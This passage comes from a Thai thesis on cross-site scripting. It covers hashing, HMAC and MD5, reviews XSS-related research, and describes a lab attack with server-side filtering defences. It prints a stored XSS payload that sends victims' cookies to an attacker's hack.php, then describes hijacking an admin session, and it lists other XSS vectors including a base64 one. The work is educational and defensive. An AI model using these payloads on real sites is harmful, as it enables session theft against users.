โดยประกาศเป็น มาตรฐานท่ี FIPS PUB 180-1 โดยผลลพัธ์ท่ีไดจ้าก SHA-1 จะเป็นตวัเลขท่ีมีความ
ยาว 160 บิต สาหรับฟังก์ชนัอีก ฟังก์ชนัหน่ึงท่ีนิยมไม่แพ ้SHA-1 และอาจเป็นท่ีนิยมมากกว่าดว้ย 
คือ MD5 (Message Digest 5) ซ่ึงออกแบบโดย Ron Rivest (ผูท่ี้ช่ือของเขาเป็นตวั R ในอลักอริทึม 
RSA ท่ีได้อธิบายไปในฉบบัก่อน) โดยได้ประกาศเป็นมาตรฐานใน RFC 1321 โดยผลลพัธ์ของ 
MD 5 จะได้ตัวเลขความยาว 128 บิต นอกจากนั้ นก็มีฟังก์ชันแฮชท่ีมีช่ือเสียงรองลงมา ได้แก่ 
RIPEMD-160, HMAC  

 
2.3  Hash Message Authentication Code (HMAC) [3] 
 

 
 

ภาพท่ี 2.3  กระบวนการตรวจสอบขอ้มูลของ HMAC 
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แนวคิดของ HMAC คือ ยืนยนัข้อความ (Message Authentication) ท่ีถูกส่ง ต้องการ 
ผ่านระหว่างเครือข่าย ว่าขอ้ความท่ีส่งไปนั้นมีการถูกเปล่ียนแปลงแกไ้ขหรือไม่ โดยขั้นตอนการ
ท างานสามารถอธิบายไดด้งัภาพประกอบ ไดด้งัน้ี  

1)  ผูส่้ง (User A) และผูรั้บ (User B) จะตอ้งมี Key ท่ีใช้ส าหรับเขา้รหัสแบบสมมาตร 
ในท่ีน้ี คือ Advanced Encryption Standard (AES) [4] และเป็น Key ชุดเดียวกนั  

2)  ขั้นตอนในการส่งข้อมูล (Data) ผูส่้งต้องเอา Data พร้อมกับ Key น าไปเข้า Hash 
Function จะได้ HMAC จากนั้ นท าการส่งข้อมูลไปหาผู ้รับโดยการส่ง Data และ HMAC ไป 
พร้อมกนั  

3)  ผูรั้บไดรั้บขอ้มูลคือ Data และ HMAC ผูรั้บจะน า Data พร้อมกบั Key ของผูรั้บเอง 
ไปเขา้ Hash Function แบบเดียวกนักบัผูส่้ง จะได ้HMAC’ จากนั้นนา HMAC’ ท่ีไดไ้ปเปรียบเทียบ
กบั HMAC หากขอ้มูลตรงกนัแสดงว่า Data ท่ีส่งมานั้นเป็นข้อมูลท่ีไม่ได้มีการถูกเปล่ียนแปลง
แกไ้ข ซ่ึงมีความหมายในทางตรงกนัขา้มหาก HMAC’ และ HMAC ไม่ตรงกนั  

 
2.4  กระบวนการท างาน MD5 [5] 

การท างานของอลักอริทึม MD5 จะมีการแบ่งขอ้ความตน้ฉบบัขนาดใด ๆ ออกเป็นกลุ่ม
บิต หลาย กลุ่มบิต ท่ีมีขนาด 512 บิต ตามล าดบั แต่ละกลุ่มบิตน้ีจะถูกแบ่งยอ่ยออกเป็น 16 กลุ่มยอ่ย 
(Sub-block) กลุ่มบิตยอ่ยละ 32 บิต และเม่ือผา่นการด าเนินการตามท่ีก าหนดไวใ้นอลักอริทึม MD5 
จนครบแล้วจะให้ผลลพัธ์เป็นเซตของกลุ่มบิตย่อยขนาด 32 บิต จ านวน 4 กลุ่ม เพื่อน ามารวมกนั
เป็นค่าแฮชผลลพัธ์ ขนาด 128 บิต ดงัแสดงในภาพท่ี 1 
 

 
  

ภาพท่ี 2.4  การท างานของอลักอริทึม MD5 
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MD5 [2] ถูกพฒันามาจาก MD4 เพื่อให้มีความปลอดภยัท่ีสูงข้ึน ซ่ึงมีกระบวนการ
ท างาน ดงัน้ี 
 2.4.1   การเพิ่มบิตเติมเตม็ (Appending padding bits)  
 การเพิ่มเติมบิตหลังข้อความ เม่ือท าการตดับล็อกข้อความบล็อกละ 512 bits หากมี
ขอ้ความ บล็อกสุดทา้ยไม่เต็มบล็อกให้ท าการเติมบิตให้เต็มบล็อกโดยเร่ิมเติมให้เติม 1 ก่อนแลว้ให้
ใส่ 0 ต่อไปจนครบ แต่ให้เหลือพื้นท่ี 64 bits ของบล็อกทา้ยเพื่อไวใ้ส่ขนาดขอ้มูลจริง หากขอ้ความ 
มีขนาด 512 bits พอดีก็ยงัคงตอ้งเติมเพราะตอ้งมี พื้นท่ี 64 bits ไวใ้นบล็อกทา้ยสุดเสมอเพื่อไวใ้ส่ 
ขนาด ขอ้มูลจริง  
 2.4.2   เพิ่มค่าความยาว (Append Length) 
 การระบุขนาดความยาวของขอ้ความตน้ฉบบั น าขอ้ความท่ีผา่นขั้นตอนแรกท่ีเวน้พื้นท่ี
ไว ้64 bits บล็อกสุดทา้ยมาระบุขนาดของขอ้ความตน้ฉบบั ไม่นบัรวมบิตเติมเต็ม ในกรณีตน้ฉบบั 
มีความยาวเกิน 264 จะน าเฉพาะ 64 bits ล่างสุดของความยาวมาต่อทา้ย ผลลพัธ์ท่ีไดจ้ะเป็นขอ้ความ
ท่ีมีขนาด 512 bits พอดี  ซ่ึ งเทียบเท่ากับความยาว 16 words (1 word มีขนาดเท่ ากับ  32 bits) 
ก าหนดให้ข้อความนั้ นประกอบด้วยบล็อกขนาด 512 bits ทั้ งหมด L บล็อก แต่ละบล็อก
ประกอบดว้ย 16 words เพราะฉะนั้น ขอ้ความจะมีจ านวนเวร์ิดทั้งหมด N = L x 16 
 2.4.3   ก าหนดค่าเร่ิมตน้กบับฟัเฟอร์ MD (Initialise MD buffer) 

     ก าหนดค่าบัฟเฟอร์ขนาด 128 bits เพื่อน าไปค านวณข้อความหรือค่าแฮช บัฟเฟอร์ 
ถูกแบ่งออกเป็น 4 ส่วนยอ่ย ซ่ึงเรียกวา่ รีจิสเตอร์ (A := 0x01 23 45 67, B := 0x89 AB CD EF, C := 
0xFEDC BA 98 และ D := 0x76 54 32 10) ซ่ึงแต่ละส่วนมีขนาด 32 bits จากนั้น ท าการก าหนดค่า
เร่ิมตน้ใหก้บัรีจิสเตอร์แต่ละตวัในรูปของตวัเลขฐาน 16 
 2.4.4   ประมวลผลขอ้ความบล็อกขนาด 16 words (Process message in 16 Words) 

 ในขั้นตอนน้ีจะมีฟังก์ชั่นในการย่อขนาดข้อมูล มีการท างาน 4 รอบ แต่ละรอบใช้
ฟังก์ชัน่ต่างกนัและยงัมีการใชต้าราง T 64 ตวั มาช่วยในการค านวณ ซ่ึงจะมีการท างานทั้งหมด 64 
ขั้นตอนของแต่ละบล็อก ผลลพัธ์ท่ีไดจ้ากกระบวนการคือค่าท่ีอยูใ่นรีจิสเตอร์ A, B, C และ D ใน
รอบสุดทา้ยท่ีท างานส่งขอ้มูลกลบัไปบอก user ดว้ยวา่ up ไม่ได ้

 
2.5  งานวจัิยทีเ่กี่ยวข้อง 
 2.5.1   การตรวจจบัปัญหาครอสไซตส์คริปต้ิงโดยใชเ้วบ็พร็อกซ่ี[6] 
   น าเสนอเก่ียวกบัวิธีการตรวจจบัปัญหาครอสไซตส์คริปต้ิงโดยใชเ้วบ็พร็อกซ่ีในขณะท่ี
เวบ็ไซต์ใช้งานจริง ณ ฝ่ังเคร่ืองคอมพิวเตอร์ของผูใ้ช้งาน โดยวิธีการตรวจจบัและแกปั้ญหาส่วน
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ใหญ่จะกระท าท่ีฝ่ังเคร่ืองบริการ แต่ปกติผูใ้ชง้านทัว่ไปจะไม่มีสิทธ์ิในการแกไ้ขใดๆ บนฝ่ายเคร่ือง
บริการ วตัถุประสงค์หลกัในการท างานระบบประยุกต์น้ีคือแสดงผลความเส่ียงของปัญหาครอส
ไซตส์คริปต้ิง เพื่อเป็นขอ้มูลเพื่อให้ผูใ้ชง้านตดัสินใจไดว้า่จะเขา้ใชง้านเวบ็ระบบประยุกตด์งักล่าว
หรือไม่ ซ่ึงผลลพัธ์ท่ีไดจ้ากระบบประยกุตน์ั้นจะตอ้งเสียเวลาเพิ่มเติมในการตรวจสอบ 

ผลสรุปเชิงคุณภาพ 
ระบบประยุกต์ในเว็บพร็อกซ่ีท่ีได้ท าการพฒันาข้ึนมานั้น สามารถท าการตรวจจบั

ปัญหาครอสไซต์สคริปต้ิงบนเว็บระบบประยุกต์ท่ีสร้างมาเพื่อทดสอบตามรูปแบบของกฎการ
ป้องกนัครอสไซตส์คริปต้ิง เฉพาะกฎขอ้ท่ี 1-5  กฎละจ านวน 10 เวบ็ไซต ์รวมทั้งหมด 50 เวบ็ไซต ์

 

 
 

ภาพท่ี 2.5  ตารางผลการทดลองตรวจจบัปัญหาครอสไซตส์คริปต้ิง [6] 
 
   ผลสรุปเชิงประสิทธิภาพ 
   ผลการทดลองเปิดเวบ็ประยกุตท์ัว่ไปใหส้ร้างเอกสารเอชทีเอม็แอลจ านวน 10 เวบ็ไซต ์
โดยเปิดไม่ผา่นการใชง้านเวบ็พร็อกซ่ี และเปิดผา่นการใชง้านเวบ็พร็อกซ่ี และน าเวลาท่ีไดท้ั้งหมด
มาหาค่าเฉล่ีย 
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ภาพท่ี 2.6  ตารางแสดงผลการทดลองตรวจจบัเปรียบเทียบเร่ืองเวลาท่ีใชง้าน [6] 
 

จากผลการทดสอบพบวา่ระบบประยกุตใ์นเวบ็พร็อกซ่ีท่ีพฒันาข้ึนนั้น สามารถตรวจจบั
ปัญหาครอสไซต์สคริปต้ิงจากเวบ็ไซต์ตวัอยา่งท่ีสร้างข้ึนจ านวน ไดร้้อยละ 100 แต่การใชง้านเวบ็ 
พร็อกซ่ีก็จะใชเ้วลาเพิ่มข้ึนแลกเปล่ียนกบัความปลอดภยัท่ีเพิ่มข้ึนดว้ย 
 2.5.2  Automated removal of cross site scripting vulnerabilities in web applications [7] 

Lwin Khin Shar และ Hee Beng Kuan Tan เสนอเคร่ืองมือก าจดัแบบอตัโนมติัเพื่อขจดั
ช่องโหว ่cross site script จากเวบ็แอพพลิเคชนั เคร่ืองมือน้ีจะติดตามการไหลของขอ้มูลน าเขา้ของ
ผูใ้ช้ไปจนกระทัง่เป็นขอ้ความออกของ HTML และระบุขอ้ความท่ีอาจมีช่องโหว่พร้อมกบักราฟ
การควบคุมการไหลเพื่อตรวจจบัส่วนท่ีมีช่องโหวใ่นโคด้และใชก้ารจบัคู่รูปแบบและการวิเคราะห์
ขอ้มูลเพื่อระบุบริบท HTML ท่ีมีการอา้งอิงข้อมูลของผูใ้ช้ และกลไกการหลีกเล่ียงท่ีจ าเป็นเพื่อ
ป้องกนัการแทรกโคด้ จะด าเนินการสร้างซอร์สโคด้และแทนท่ีเพื่อรักษาความปลอดภยัของขอ้มูล 
ท่ีมีความเส่ียงโดยใช ้APIs หลบหลีกท่ีเหมาะสมโดยใชเ้คร่ืองมือ saferXSS ท่ีพฒันาข้ึนโดยพวกเขา 
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ภาพท่ี 2.7  สถาปัตยกรรมของ saferXSS 
 

 เคร่ืองมือระบุขอ้ความท่ีมีช่องโหวซ่ึ่งถูกตรวจพบวา่เป็นขอ้ผิดพลาด XSS และขอ้ความ
ท่ีมีการเปล่ียนแปลงในโค้ด ผูเ้ขียนได้ประเมินวิธีการท่ีน าเสนอข้ึนอยู่กับการทดลองบนเว็บ 
แอพพลิเคชัน Java 5 โปรแกรม การรักษาความปลอดภยั XSSVs ใช้วิธีการหลบหนีท่ีเหมาะสม 
โดยใช้กฎการหลบหนีจาก ESAPI (Enterprise Security API) และใช้กระบวนการหลบหลีกและ
ตรวจสอบ เพื่อท าใหโ้คด้จากการโจมตี XSS ไม่เป็นผล 
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 2.5.3   Enhanced Browser Defense for Reflected Cross-Site Scripting [11] 
 Bhawna Mewara1, Sheetal Bairwa2, Jyoti Gajrani3, Vinesh Jain4 เ ส น อ แ ล ะ 

ด าเนินการตามวธีิการเขา้รหัส เพื่อตรวจหาแอพพลิเคชนัเวบ็ท่ีมีช่องโหว ่ผลลพัธ์พิสูจน์วา่แนวทาง
ท่ีเสนอให้ อตัราการตรวจจบัการโจมตีมีความแม่นย  าสูงข้ึน โดย การด าเนินการบล็อกการเรียกใช้
สคริปตท่ี์เป็นอนัตราย XSS-Me 

 

 
 

ภาพท่ี 2.8  รายละเอียดของ XSS-ME เดิม 
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ภาพท่ี 2.9  กระบวนการป้องกนัใน XSS-ME ท่ีน าเสนอ 

 
 ป้องกนัช่องโหว่ของ Cross-Site Scripting ทุกๆช่องโหว่ใน แอพพลิเคชันบนเว็บอาจ
เป็นการข่มขู่ ตวักรอง XSS ฝ่ังผูใ้ช้งานจะตอ้งถูกรวมอยู่ในทุกๆเบราวเ์ซอร์เพื่อ ช่วยบรรเทาช่อง
โหว ่XSS งานวจิยัน้ี สรุปดว้ยวิธีแกไ้ขของฝ่ังผูใ้ชง้านใน Mozilla Firefox ท่ี บรรลุความถูกตอ้งและ
มีประสิทธิภาพสูงโดยการเขา้ขวางระหว่างตวัแยกวิเคราะห์ HTML และเคร่ืองมือ JavaScript ของ 
เบราวเ์ซอร์ พร้อมกบัการทดสอบอกัขระพิเศษ วิธีแกไ้ขการออกแบบท่ีน าเสนอช่วยเพิ่มอตัราการ
ตรวจจบัความเส่ียง เพิ่มข้ึน 19% 
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บทที ่3  
วธีิการด าเนินงาน  

 
ภาพรวมในการด าเนินงาน 

สารนิพนธ์ น้ีจัดท าเพื่ อแสดงรูปแบบการโจมตีครอสไซต์สคริปต้ิง (Cross-Site 
Scripting) โดยออกแบบระบบเพื่อใช้ในการทดสอบการโจมตี และเสนอวิธีการป้องกนัการโจมตี 
ครอสไซต์สคริปต้ิง (Cross-Site Scripting)ในฝ่ังของเคร่ืองแม่ข่าย (Server) โดยมีภาพรวมในการ
ด าเนินงาน ดงัน้ี 

 

 
 

ภาพท่ี 3.1  ภาพรวมในการด าเนินงาน 
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3.1   รูปแบบการเช่ือมต่อและติดตั้งเคร่ืองมือทีใ่ช้ในการทดสอบโดยรวม 
 

 
 

ภาพท่ี 3.2  รูปแบบการเช่ือมต่อระบบโดยรวม 
 

 3.1.1   เคร่ืองคอมพิวเตอร์ 3 เคร่ือง ไดแ้ก่ 
 1.  เคร่ืองคอมพิวเตอร์ท่ีจ าลองเป็นเวบ็เซิร์ฟเวอร์ (Web Server) (ติดตั้งบน Virtual 

Machine) 
 2.  เคร่ืองคอมพิวเตอร์ท่ีท าหนา้ท่ีเป็นผูโ้จมตี (ติดตั้งบน Virtual Machine) 
 3.  เคร่ืองคอมพิวเตอร์ท่ีท าหนา้ท่ีเป็นผูใ้ชง้าน 

 3.1.2   ติดตั้งโปรแกรม Appserv 2.5.10 ท่ีเคร่ืองคอมพิวเตอร์ท่ีจ าลองเป็นเวบ็เซิร์ฟเวอร์  
 3.1.3 โปรแกรม vmware workstation 10 เพื่อใช้ส าหรับจ าลอง Virtual machine ของเคร่ือง
คอมพิวเตอร์ท่ีจ าลองเป็นเวบ็เซิร์ฟเวอร์ และ เคร่ืองคอมพิวเตอร์ท่ีท าหนา้ท่ีเป็นผูโ้จมตี 
 3.1.4  Mozilla firefox version 53.0.3 (32-bit) เป็นเบราวเ์ซอร์ส าหรับใชใ้นการทดสอบ 
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3.2  การออกแบบฐานข้อมูล 
 3.2.1  ฐานขอ้มูลของเวบ็เซิร์ฟเวอร์จะแบ่งออกเป็น 2 ฐานขอ้มูล คือ 

 1.  Web System เป็นฐานขอ้มูลไวส้ าหรับเก็บขอ้มูลต่างๆเก่ียวกบัเวบ็ไซต ์
 2.  XSS_D เป็นฐานขอ้มูลไวเ้ก็บขอ้มูล hash เพื่อไวใ้ชส้ าหรับตรวจสอบความถูกตอ้ง 
ของไฟลแ์ละขอ้มูลในฐานขอ้มูลวา่ไม่ไดถู้กเปล่ียนแปลงแกไ้ข 
 

 
 

ภาพท่ี 3.3  ฐานขอ้มูลเวบ็เซิร์ฟเวอร์ 
 
 3.2.2   ฐานขอ้มูลของผูโ้จมตี จะประกอบดว้ยฐานขอ้มูล XSS_Attack ท่ีใชส้ าหรับบนัทึก
ค่า cookie ท่ีขโมยไดจ้ากผูใ้ชง้านอ่ืนๆ 
 

 
 

ภาพท่ี 3.4  ฐานขอ้มูลของเคร่ืองผูโ้จมตี 
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3.3  ทดสอบการโจมตีครอสไซต์สคริปติง้ (Cross-Site Scripting)  และแนวทางการป้องกนั 

การโจมตีครอสไซตส์คริปต้ิง (Cross-Site Scripting) เป็นการโจมตี โดยอาศยัหลกัการท่ี
คอมพิวเตอร์ผูใ้ชง้าน (Client computer) สามารถส่งขอ้ความอะไรก็ไดไ้ปยงัเคร่ืองบริการ (Server) 
แลว้เคร่ืองบริการน าขอ้ความท่ีไดรั้บมาไปประมวลผล โดยท่ีเคร่ืองบริการไม่ไดต้รวจสอบขอ้มูลท่ี
รับเขา้ (Input) และขอ้มูลท่ีส่งออก (Output) วา่มีความปลอดภยัเพียงพอ ผูโ้จมตี (Attacker) จึงอาศยั
ช่องโหว่น้ีในการโจมตี โดยการสร้างเป็นค าสั่ง (Code) แล้วส่งไปยงัเว็บเซิร์ฟเวอร์ (web server) 
แล้วเว็บเซิร์ฟเวอร์ (web server) ก็จะท าการประมวลแล้วส่งผลตอบสนองมายงัเบราว์เซอร์ 
(Browser) ของเคร่ืองคอมพิวเตอร์ผูใ้ช้งานในรูปแบบบทค าสั่งฝ่ายผูใ้ช้งาน (Client side script) ซ่ึง
บทค าสั่งฝ่ายผูใ้ชง้านท่ีเกิดข้ึนนั้นมีสิทธิในการท างานเทียบเท่ากบับทค าสั่ง (script) ท่ีเกิดข้ึนจากตวั
เวบ็ไซต์เอง เช่น การขโมยสิทธิ (session) ของผูใ้ช้งานอ่ืน ซ่ึงสามารถแสดงตวัอย่างการโจมตีได ้
ดงัน้ี 

 วธีิที ่1  การโจมตีโดยฝังขอ้มูลท่ีเป็นการโจมตีครอสไซตส์คริปต้ิง (Cross-Site 
Scripting) ผา่นทางหนา้เวบ็ไซต ์
           ขั้นตอนที ่1  เขา้ใชง้านเวบ็ไซต ์(Website) โดยใชสิ้ทธิเป็นผูใ้ชง้าน (user)  
จากเคร่ืองของผูโ้จมตี 
 

 
       
ภาพท่ี 3.5  หนา้เวบ็ไซตใ์ชง้านของผูใ้ชง้านสิทธิ user 
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      ขั้นตอนที ่2  เขา้ใชง้านหวัขอ้ “Webboard” 

 
 

ภาพท่ี 3.6  หนา้เวบ็ไซตใ์ชง้านเวบ็บอร์ด 
 
      ขั้นตอนที ่3  ทดสอบบนัทึกขอ้มูลเขา้สู่ Webboard  

 
        
ภาพท่ี 3.7  การทดสอบการตั้งกระทู ้Webboard 
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จะเห็นว่าเม่ือท าการบนัทึกขอ้มูล ขอ้มูลท่ีแสดงข้ึนมาในหน้า Webboard คือช่ือหัวขอ้
กระทู ้ส่วน รายละเอียด ช่ือผูต้ ั้งกระทู้ และอีเมล์ผูต้ ั้ งกระทู้จะแสดงขา้งในหัวข้อกระทู้ จากการ
สังเกตจะคาดเดาไดว้า่ขอ้มูลหวัขอ้กระทูท่ี้เราบนัทึกจะถูกน าเขา้สู่ฐานขอ้มูลและน าออกมาแสดงท่ี
เวบ็เบราวเ์ซอร์ (Web Browser) 
      ขั้นตอนที่ 4  ทดสอบโดยท าการบันทึกข้อมูลค าสั่ง (Code) ท่ีเป็นการโจมตี 
ครอสไซตส์คริปต้ิง (Cross-Site Scripting) เขา้ไปท่ีช่ือหวัขอ้กระทูข้องเวบ็บอร์ด  
 
<a href=# onclick = \"document.location = \'http://192.168.225.133/project/hack.php?cook = \'+ 
escape\(document.cookie\)\;\">Click_Here</a> 
 

ท่ีเลือกใชค้  าสั่งน้ีในการทดสอบเน่ืองจากการโจมตีโดยฝังขอ้มูลผา่นเวบ็บอร์ด การท่ีจะ
เขา้ไปดูเน้ือหาในแต่ละกระทูผู้ใ้ชง้านตอ้งท าการคลิกลิงก์ท่ีช่ือหวัขอ้กระทูท่ี้ตอ้งการ ท าให้ผูใ้ชง้าน
เขา้ใชง้านตามปกติโดยไม่ทราบวา่ก าลงัโดนโจมตีอยู ่ค  าสั่งน้ีเม่ือมีผูใ้ช้งานเขา้มาใช้งานเวบ็บอร์ด  
ก็จะแสดงช่ือหัวขอ้กระทู ้“Click_Here” ซ่ึงถา้ผูใ้ช้งานท าการคลิก ค าสั่งน้ีจะไปสั่งการท างาน ให้
ไปรันค าสั่งในไฟล์ hack.php ในเคร่ืองของผูโ้จมตี ท่ีไอพีแอดเดรส 192.168.225.133 ซ่ึงจะท าการ
ส่งค่า cookie ของผูท่ี้ใชง้านปัจจุบนัไปบนัทึกไวใ้นฐานขอ้มูลของผูโ้จมตี 
 

 
 

ภาพท่ี 3.8  การบนัทึกขอ้มูลค าสั่ง (Code) ท่ีเป็นอนัตรายเขา้ไปท่ีช่ือหวัขอ้กระทูข้องเวบ็บอร์ด 
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ภาพท่ี 3.9  ไฟล ์hack.php 
 

ในไฟล ์hack.php จะท าการเขียนโคด๊วา่เม่ือไดรั้บค่า “cook” ก็คือ document.cookies 
ของผูใ้ชง้านใหท้ าการบนัทึกเขา้สู่ฐานขอ้มูลในเคร่ืองของผูโ้จมตี 

 
    ขั้นตอนที ่5 เม่ือผูใ้ชง้านท่ีใชสิ้ทธิ Admin เขา้ใชง้าน  
 

 
 

ภาพท่ี 3.10  หนา้เวบ็ไซตใ์ชง้านของผูใ้ชง้านสิทธิ admin  
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เม่ือผูเ้ขา้ใชง้านท่ีใชสิ้ทธิ admin คลิกท่ีช่ือหวัขอ้กระทู ้“Click_Here” ค าสั่งจะท างาน 
เม่ือค าสั่งท างานจะส่งค่า cookie ของ admin ไปบนัทึกไวใ้นฐานขอ้มูลของผูโ้จมตี 

 
onclick=\"document.location=\'http://192.168.225.133/project/hack.php?cook=\'+ 
escape\(document.cookie\)\;\" 

 

 
 
ภาพท่ี 3.11  การส่งค่า cookie ของผูถู้กโจมตีไปไวฐ้านขอ้มูลของผูโ้จมตี 
 

จากนั้นผูโ้จมตีก็จะน าค่า cookie ท่ีไดจ้ากผูใ้ชง้านไปใส่แทนค่า cookie ของตนเอง 
เพื่อท่ีจะขโมยสิทธิการใชง้านท่ีเป็น admin โดยเลือก เคร่ืองมือ นกัพฒันาเวบ็แถบเคร่ืองมือ
นกัพฒันา แลว้พิมพค์  าสั่ง cookie list ในเวบ็เบราวเ์ซอร์ของ Mozilla Firefox 

 

 
ภาพท่ี 3.12  การตรวจสอบค่า cookie ของผูใ้ชง้าน 
 
จากนั้นกดท่ีปุ่ม แกไ้ข แลว้น าค่า cookie ท่ีไดรั้บมาใส่แทนของตนเองแลว้กดตกลง 
 

 
 

ภาพท่ี 3.13  การตั้งค่า cookie 
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เม่ือใส่ค่าเรียบร้อยท าการรีเฟรชหน้าเวบ็ไซต์ 1 คร้ัง ก็จะสามารถใช้สิทธิท่ีเป็น admin 
มาใชง้าน ก็จบกระบวนการการโจมตีครอสไซตส์คริปต้ิง (Cross-Site Scripting) 

 

 
 

ภาพท่ี 3.14  การขโมยสิทธิการใชง้านจาก admin 
 

ซ่ึงการโจมตีครอสไซต์สคริปต้ิง (Cross-Site Scripting) นั้นไม่ใช่แค่โจมตีดว้ยค าสั่งท่ี
เป็น <a href> เท่านั้ น ยงัสามารถใช้งานวิธีอ่ืนในการโจมตีได้  เช่น <script>, <span>, <object>  
หรือการเขา้รหสัแบบ base64 เป็นตน้ ตามตวัอยา่งดงัต่อไปน้ี 
   1.  <img/src ='images/hack.jpg'  onerror = confirm('You_were_hacked')> 
         - เป็นค าสั่งวา่ถา้หากหาไฟลรู์ปไม่เจอใหโ้ชวก์ล่องขอ้ความวา่ “You_were_hacked” 
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ภาพท่ี 3.15  การโจมตีดว้ย img/src  
 
   2.  <span OnMouseOver=alert('You_were_hacked');>Hello</span> 
                 -  เป็นค าสั่งวา่ถา้เอา mouse ไปช้ีท่ีค  าวา่ Hello  จะ alert ค  าวา่ “You_were_hacked” 
  

 
 

ภาพท่ี 3.16  การโจมตีดว้ย<span> 
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   3.  <span OnMousemove=alert('You_were_hacked');>Hello</span> 
                  -  เป็นค าสั่งวา่ถา้เอา mouse เล่ือนไปท่ีค าวา่ Hello  จะ alert ค  าวา่
“You_were_hacked” 
 

 
 

ภาพท่ี 3.17  การโจมตีดว้ยค าสั่ง OnMousemove 
 
   4.  การโจมตีดว้ยการเขา้รหสัขอ้มูลท่ีเป็นอนัตรายแบบ base64 
<object data="data:text/html;base64, PHNjcmlwdD5hbGVydCgiWW91X3dlcmVfaGFjayIpO 
zwvc2NyaXB0Pg=="></object> 
 
   จากค าสั่งขา้งตน้ เม่ือ Decode การเขา้รหสัแบบbase64 ของ 
PHNjcmlwdD5hbGVydCgiWW91X3dlcmVfaGFjayIpO zwvc2NyaXB0Pg== 
    
   จะไดเ้ป็น 
<script>alert(\”You_were_hacked\”);</script> 
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ภาพท่ี 3.18  การโจมตีดว้ยการเขา้รหสัขอ้มูลท่ีเป็นอนัตรายแบบ base64 

ค าสั่ งข้างต้น เป็นเพียงส่วนหน่ึงของการโจมตีครอสไซต์สคริปต้ิง (Cross-Site 
 Scripting) เท่านั้น ยงัมีค  าสั่งอีกมากมายท่ีสามารถใชใ้นการโจมตีได ้ 

แนวทางการป้องกนัการโจมตีครอสไซต์สคริปติง้ (Cross-Site Scripting) ผ่านทางหน้า
เวบ็ไซต์  

โดยวิธีการกรองข้อมูลท่ีคาดว่าจะเป็นค าสั่งการโจมตีครอสไซต์สคริปต้ิง ซ่ึงเสนอ
รูปแบบวธีิการกรองขอ้มูลทั้งหมด 6 วธีิ ซ่ึงสามารถเลือกไปใชไ้ดต้ามความเหมาะสม 
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ภาพท่ี 3.19  ภาพรวมการกรองขอ้มูลท่ีเป็นการโจมตีครอสไซตส์คริปต้ิง 

 
1. การกรองสัญลกัษณ์ท่ีเป็นอนัตรายโดยท าการเปล่ียนสัญลกัษณ์ดงักล่าวเปล่ียนเป็น

เลขฐาน 16  
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ตารางท่ี 3.1  เปรียบเทียบสัญลกัษณ์กบัเลขฐาน 16 [13] 
 

SYMBOL HEX 

! 21 
“ 22 
& 26 
‘ 27 
( 28 
) 29 
- 2D 
/ 2F 
; 3B 
< 3C 
> 3E 

 

ซ่ึงเขียนโปรแกรมส าหรับการป้องกนัโดยการกรองสัญลกัษณ์ท่ีคาดวา่จะเป็นอนัตราย
ให้เป็นเลขฐาน 16 โดยใช้ Escape Sequence คือรหัสพิเศษท่ีแทรกลงไปในค่าคงท่ีสตริง เพื่อใช้
ควบคุมการแสดงผลของตวัอกัษรในลกัษณะต่างๆ เขา้มาช่วย โดยน าขอ้มูลท่ีป้อนเขา้มา น ามาเขา้
ฟังกช์นั changesymboltohex ก่อนแลว้จึงน าไปบนัทึกเขา้สู่ฐานขอ้มูล 

 

 
 

ภาพท่ี 3.20  การกรองสัญลกัษณ์ท่ีเป็นอนัตรายใหเ้ป็นเลขฐาน 16 
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2.  การกรองสัญลักษณ์ท่ีเป็นอนัตรายโดยท าการเปล่ียนสัญลักษณ์ดังกล่าวเปล่ียน 
เป็น HTML NUMBER  

 
ตารางท่ี 3.2 เปรียบเทียบสัญลกัษณ์กบัเลขฐาน HTML NUMBER [14] 
 

SYMBOL HTML NUMBER 

! &#33 
“ &#34 
& &#38 
‘ &#39 
( &#40 
) &#41 
- &#45 
/ &#47 
; &#59 
< &#60 
> &#62 

 
ซ่ึงเขียนโปรแกรมส าหรับการป้องกนัโดยการกรองสัญลกัษณ์ท่ีคาดวา่จะเป็นอนัตราย

ให้กลายเป็น HTML NUMBER โดยใช้ Escape Sequence คือรหัสพิเศษท่ีแทรกลงไปในค่าคงท่ี
สตริง เพื่อใชค้วบคุมการแสดงผลของตวัอกัษรในลกัษณะต่างๆ เขา้มาช่วย โดยน าขอ้มูลท่ีป้อนเขา้
มา น ามาเขา้ฟังกช์นั changesymboltohtmlnum ก่อนแลว้จึงน าไปบนัทึกเขา้สู่ฐานขอ้มูล 
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ภาพท่ี 3.21  การกรองสัญลกัษณ์ท่ีเป็นอนัตรายใหเ้ป็น HTML NUMBER 
 

3.  การกรองสัญลกัษณ์ท่ีเป็นอนัตรายโดยท าการเปล่ียนสัญลกัษณ์ดงักล่าวเปล่ียนเป็น 
HTML NAME  
 
ตารางท่ี 3.3  เปรียบเทียบสัญลกัษณ์กบั HTML NAME [15] 
 

SYMBOL HTML NAME 

“ &quot 
& &amp 
‘ &apos 
< &lt 
> &gt 

 
ซ่ึงเขียนโปรแกรมส าหรับการป้องกนัโดยการกรองสัญลกัษณ์ท่ีคาดวา่จะเป็นอนัตราย

ใหก้ลายเป็น HTML NAME เช่น ท าการเปล่ียนเคร่ืองหมาย “>” ให้กลายเป็น “&gt” โดยน าขอ้มูลท่ี
ป้อนเขา้มา น ามาเขา้ฟังกช์นั changesymboltohtmlname แลว้จึงน าไปบนัทึกเขา้สู่ฐานขอ้มูล 
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ภาพท่ี 3.22  การกรองสัญลกัษณ์ท่ีเป็นอนัตรายใหเ้ป็น HTML NAME 
 

4.  การกรองขอ้มูลท่ีโจมตีดว้ยการเขา้รหสัแบบ base_64 
     BASE64 คือ วธีิการเขา้รหสัขอ้มูลรูปแบบหน่ึง ท่ีจะเปล่ียนขอ้ความ หรือขอ้มูล 

ตน้ฉบบัไปเป็นขอ้ความ หรือขอ้มูลชุดใหม่ ท่ีไม่สามารถอ่าน หรือรู้วา่ขอ้มูลชุดน้ีคืออะไร ซ่ึงการ
เขา้รหสัชนิดน้ีจะแทนท่ีขอ้มูลดว้ยตวัอกัษร 64 ตวั ซ่ึงผูโ้จมตีสามารถใชข้อ้มูลท่ีเขา้รหสัแบบ 
base64 ในการโจมตีได ้ ซ่ึงการป้องกนัโดยการกรองขอ้มูลท่ีคาดวา่เป็นการโจมตีท่ีเขา้รหสัแบบ 
base64 ก่อนบนัทึกเขา้สู่ฐานขอ้มูล 
 

 
 
ภาพท่ี 3.23  การกรองขอ้มูลท่ีโจมตีดว้ยการเขา้รหสัแบบ base_64 
 
. คือ ตวัอกัษรตวัใดก็ได ้
* คือ token น้ี “มี” หรือ “ไม่มี” ก็ได ้แลว้จะมีก่ีตวัก็ได ้ 
